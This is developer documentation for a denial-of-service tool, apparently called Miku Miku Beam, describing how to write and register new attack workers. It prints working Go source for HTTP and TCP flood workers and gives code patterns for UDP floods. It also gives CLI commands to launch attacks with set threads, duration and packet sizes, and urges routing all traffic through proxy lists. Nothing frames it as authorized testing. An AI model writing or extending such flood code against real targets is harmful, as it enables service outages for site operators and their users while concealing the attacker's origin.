Skip to main content

Overview

Miku Miku Beam’s architecture makes it easy to add new attack methods. This guide walks you through creating a custom attack implementation from scratch.

Attack Method Architecture

Each attack method consists of:
  • A worker that implements the AttackWorker interface
  • Registration in the engine’s registry
  • Frontend integration for the web UI (optional)

Implementation Steps

1

Create Attack Worker

Create a new file in the appropriate directory under internal/attacks/:
  • HTTP-based attacks → internal/attacks/http/
  • TCP/UDP attacks → internal/attacks/tcp/
  • Game-specific attacks → internal/attacks/game/
  • New protocol → Create new directory internal/attacks/yourprotocol/

Worker Interface

All attack workers must implement the AttackWorker interface:
type AttackWorker interface {
    // Fire sends a single payload for the given params
    Fire(ctx context.Context, params AttackParams, proxy Proxy, 
         userAgent string, logCh chan<- AttackStats) error
}

Example Implementation

Here’s a complete example from the actual codebase:
internal/attacks/yourprotocol/yourattack.go
package yourprotocol

import (
    "context"
    core "github.com/sammwyy/mikumikubeam/internal/engine"
)

type yourWorker struct{}

func NewYourWorker() *yourWorker { 
    return &yourWorker{} 
}

func (w *yourWorker) Fire(ctx context.Context, params core.AttackParams, 
    p core.Proxy, ua string, logCh chan<- core.AttackStats) error {
    
    // 1. Implement your attack logic here
    // 2. Use the provided proxy (p) and user agent (ua)
    // 3. Respect the context (ctx) for cancellation
    // 4. Send logs if verbose mode is enabled
    
    core.SendAttackLogIfVerbose(logCh, p, params.Target, params.Verbose)
    return nil
}
2

Define Attack Kind

Add your attack type to the AttackKind enum in internal/engine/engine.go:
internal/engine/engine.go
type AttackKind string

const (
    AttackHTTPFlood     AttackKind = "http_flood"
    AttackHTTPBypass    AttackKind = "http_bypass"
    AttackHTTPSlowloris AttackKind = "http_slowloris"
    AttackTCPFlood      AttackKind = "tcp_flood"
    AttackMinecraftPing AttackKind = "minecraft_ping"
    AttackYourProtocol  AttackKind = "your_protocol" // Add this
)
3

Register the Attack

Register your worker in the engine’s initialization code.For the server (cmd/mmb-server/main.go):
cmd/mmb-server/main.go
import (
    yourprotocol "github.com/sammwyy/mikumikubeam/internal/attacks/yourprotocol"
    // ... other imports
)

func main() {
    // ... setup code
    
    reg := engine.NewRegistry()
    reg.Register(engine.AttackHTTPFlood, http.NewFloodWorker())
    reg.Register(engine.AttackHTTPBypass, http.NewBypassWorker())
    reg.Register(engine.AttackHTTPSlowloris, http.NewSlowlorisWorker())
    reg.Register(engine.AttackTCPFlood, tcp.NewFloodWorker())
    reg.Register(engine.AttackMinecraftPing, game.NewPingWorker())
    reg.Register(engine.AttackYourProtocol, yourprotocol.NewYourWorker()) // Add this
    
    // ... rest of setup
}
For the CLI (cmd/mmb-cli/main.go):
cmd/mmb-cli/main.go
import (
    yourprotocol "github.com/sammwyy/mikumikubeam/internal/attacks/yourprotocol"
    // ... other imports
)

func registerAttacks() *engine.Registry {
    reg := engine.NewRegistry()
    reg.Register(engine.AttackHTTPFlood, http.NewFloodWorker())
    reg.Register(engine.AttackHTTPBypass, http.NewBypassWorker())
    reg.Register(engine.AttackHTTPSlowloris, http.NewSlowlorisWorker())
    reg.Register(engine.AttackTCPFlood, tcp.NewFloodWorker())
    reg.Register(engine.AttackMinecraftPing, game.NewPingWorker())
    reg.Register(engine.AttackYourProtocol, yourprotocol.NewYourWorker()) // Add this
    return reg
}
4

Add to Web Client (Optional)

Update the web client to include your new attack method in the dropdown:
web-client/src/...
const attackMethods = [
  { value: 'http_flood', label: 'HTTP Flood' },
  { value: 'http_bypass', label: 'HTTP Bypass' },
  { value: 'http_slowloris', label: 'HTTP Slowloris' },
  { value: 'tcp_flood', label: 'TCP Flood' },
  { value: 'minecraft_ping', label: 'Minecraft Ping' },
  { value: 'your_protocol', label: 'Your Protocol' }, // Add this
];

Real-World Examples

Let’s look at actual implementations from the codebase:

HTTP Flood Worker

From internal/attacks/http/flood.go:
package http

import (
    "bytes"
    "context"
    "io"
    "math/rand"
    "net/http"
    "time"

    core "github.com/sammwyy/mikumikubeam/internal/engine"
    "github.com/sammwyy/mikumikubeam/internal/netutil"
)

type floodWorker struct{}

func NewFloodWorker() *floodWorker { return &floodWorker{} }

func (w *floodWorker) Fire(ctx context.Context, params core.AttackParams, 
    p core.Proxy, ua string, logCh chan<- core.AttackStats) error {
    
    // Build target URL
    u := params.TargetNode.ToURL()
    target := u.String()
    
    // Create HTTP client with proxy
    client := netutil.DialedHTTPClient(p, 5*time.Second, 3)
    
    // Random method selection
    isGet := params.PacketSize <= 512 && rand.Intn(2) == 0
    payload := randomString(params.PacketSize)
    
    var req *http.Request
    var err error
    
    if isGet {
        req, err = http.NewRequestWithContext(ctx, http.MethodGet, 
            target+"/"+payload, nil)
    } else {
        req, err = http.NewRequestWithContext(ctx, http.MethodPost, 
            target, io.NopCloser(bytes.NewBufferString(payload)))
    }
    
    if err != nil {
        return err
    }
    
    if ua != "" {
        req.Header.Set("User-Agent", ua)
    }

    // Execute request
    resp, err := client.Do(req)
    if err == nil && resp != nil {
        io.Copy(io.Discard, resp.Body)
        resp.Body.Close()
        core.SendAttackLogIfVerbose(logCh, p, params.Target, params.Verbose)
    }
    
    return nil
}
Notice how the worker:
  • Uses the provided context for cancellation support
  • Leverages the proxy parameter for routing
  • Sends verbose logs only when enabled
  • Returns quickly without blocking

TCP Flood Worker

From internal/attacks/tcp/flood.go:
package tcp

import (
    "context"
    "math/rand"

    core "github.com/sammwyy/mikumikubeam/internal/engine"
    "github.com/sammwyy/mikumikubeam/internal/netutil"
)

type floodWorker struct{}

func NewFloodWorker() *floodWorker { return &floodWorker{} }

func (w *floodWorker) Fire(ctx context.Context, params core.AttackParams, 
    p core.Proxy, ua string, logCh chan<- core.AttackStats) error {
    
    // Generate random payload
    payload := make([]byte, params.PacketSize)
    rand.Read(payload)
    
    // Use TCP dialer with proxy support
    conn, err := netutil.DialTCP(ctx, params.TargetNode, p)
    if err != nil {
        return err
    }
    defer conn.Close()
    
    // Send payload
    _, err = conn.Write(payload)
    if err == nil {
        core.SendAttackLogIfVerbose(logCh, p, params.Target, params.Verbose)
    }
    
    return err
}

Best Practices

Context Handling

Always respect the context! The engine uses it to cancel attacks.
// Good: Check context in loops
for {
    select {
    case <-ctx.Done():
        return ctx.Err()
    default:
        // Do work
    }
}

// Good: Pass context to HTTP requests
req, err := http.NewRequestWithContext(ctx, method, url, body)

Proxy Usage

Always use the provided proxy parameter:
// Good: Use netutil helpers that support proxies
client := netutil.DialedHTTPClient(proxy, timeout, maxRetries)
conn, err := netutil.DialTCP(ctx, target, proxy)

// Bad: Direct connections ignore proxies
client := &http.Client{}
conn, err := net.Dial("tcp", target)

Verbose Logging

Only send logs when verbose mode is enabled:
// Use the helper function
core.SendAttackLogIfVerbose(logCh, proxy, target, params.Verbose)

// Or manually check
if params.Verbose {
    select {
    case logCh <- core.AttackStats{
        Timestamp: time.Now(),
        Log:       "Attack sent successfully",
    }:
    default:
        // Don't block if channel is full
    }
}

Error Handling

// Return errors but don't crash
if err != nil {
    return err // Engine handles errors gracefully
}

// Don't panic
if conn == nil {
    return fmt.Errorf("connection failed")
}

Testing Your Attack

Build and Test

# Build everything
make all

# Test with CLI in verbose mode
./bin/mmb-cli attack your_protocol http://example.com --verbose --threads 4

# Test with custom parameters
./bin/mmb-cli attack your_protocol http://example.com \
  --duration 60 \
  --delay 500 \
  --packet-size 1024 \
  --threads 8 \
  --verbose

Test Without Proxies

./bin/mmb-cli attack your_protocol http://example.com --no-proxy --verbose

Test in Web Interface

  1. Start the server: make run-server
  2. Open http://localhost:3000
  3. Select your attack method
  4. Configure parameters
  5. Monitor real-time stats

Attack Parameters Reference

Your worker receives these parameters:
type AttackParams struct {
    Target      string           // Target URL or address
    TargetNode  targetpkg.Node   // Parsed target (host, port, protocol)
    Duration    time.Duration    // How long to run the attack
    PacketDelay time.Duration    // Delay between packets
    PacketSize  int             // Size of each packet/payload
    Method      AttackKind      // Attack method identifier
    Threads     int             // Number of concurrent threads
    Verbose     bool            // Whether to send detailed logs
}

Common Patterns

HTTP-Based Attacks

client := netutil.DialedHTTPClient(proxy, 5*time.Second, 3)
req, _ := http.NewRequestWithContext(ctx, method, target, body)
req.Header.Set("User-Agent", userAgent)
resp, err := client.Do(req)

TCP-Based Attacks

conn, err := netutil.DialTCP(ctx, params.TargetNode, proxy)
if err != nil {
    return err
}
defer conn.Close()
_, err = conn.Write(payload)

UDP-Based Attacks

addr, _ := net.ResolveUDPAddr("udp", params.Target)
conn, err := net.DialUDP("udp", nil, addr)
if err != nil {
    return err
}
defer conn.Close()
_, err = conn.Write(payload)

Troubleshooting

Make sure you’ve:
  1. Defined the AttackKind constant
  2. Registered the worker in cmd/mmb-cli/main.go
  3. Rebuilt the CLI binary: make cli
Check that you’ve:
  1. Added it to the attack methods array in the web client
  2. Registered it in cmd/mmb-server/main.go
  3. Rebuilt both server and web client: make all
  • Verify proxies in data/proxies.txt are valid
  • Test with --no-proxy flag to isolate the issue
  • Use netutil helpers instead of direct connections
  • Ensure you’re calling SendAttackLogIfVerbose
  • Check you’re passing the log channel correctly
  • Verify --verbose flag is set when testing

Next Steps

Project Structure

Understand the full codebase organization

Contributing Guide

Learn how to submit your implementation

Now you’re ready to create powerful new attack methods! Remember to test thoroughly and submit a PR when you’re done.

Build docs developers (and LLMs) love